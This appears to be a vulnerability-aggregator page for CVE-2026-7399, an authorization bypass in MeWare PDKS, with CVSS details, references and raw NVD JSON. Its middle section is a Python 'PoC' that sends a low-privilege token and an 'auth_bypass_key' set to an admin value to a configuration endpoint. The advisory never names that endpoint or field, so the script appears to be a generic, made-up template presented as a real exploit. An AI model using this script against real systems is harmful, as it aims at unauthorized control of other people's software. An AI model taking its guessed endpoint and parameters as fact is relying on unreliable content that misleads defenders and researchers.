CVE-2026-7399

Description

Authorization bypass through User-Controlled key vulnerability in MeWare Software Development Inc. PDKS allows Privilege Abuse. This issue affects PDKS: from V16.20200313 before VMYR_3.5.2025117.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

MeWare PDKS V16.20200313

MeWare PDKS VMYR_3.5.2025117之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: MeWare PDKS Authorization Bypass PoC
# Description: This script demonstrates how to exploit the user-controlled key vulnerability.
# Note: For educational purposes only.

target_url = "http://target-pdkssystem/api/v1/update_config"
low_priv_session_token = "VALID_LOW_PRIV_TOKEN_HERE"

# Headers simulating a low-privilege user request
headers = {
    "Authorization": f"Bearer {low_priv_session_token}",
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0"
}

# The vulnerable payload: changing the 'user_key' or 'role_id' to an admin value
# In a secure system, the server would ignore this or validate it against the session token.
payload = {
    "config_id": 1,
    "new_value": "malicious_config",
    # This is the user-controlled key that causes the bypass
    "auth_bypass_key": "ADMIN_KEY_VALUE" 
}

try:
    response = requests.post(target_url, json=payload, headers=headers, timeout=10)

    if response.status_code == 200:
        print("[+] Exploit successful! Configuration updated with low privileges.")
        print(f"[+] Response: {response.text}")
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
        print(f"[-] Response: {response.text}")

except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7399
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7399
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7399/
[4] VulDB https://vuldb.com/cve/CVE-2026-7399
[5] https://www.usom.gov.tr/bildirim/tr-26-0141

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7399", "sourceIdentifier": "[email protected]", "published": "2026-04-30T13:16:06.480", "lastModified": "2026-04-30T15:09:03.710", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization bypass through User-Controlled key vulnerability in MeWare Software Development Inc. PDKS allows Privilege Abuse.\n\nThis issue affects PDKS: from V16.20200313 before VMYR_3.5.2025117."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-26-0141", "source": "[email protected]"}]}}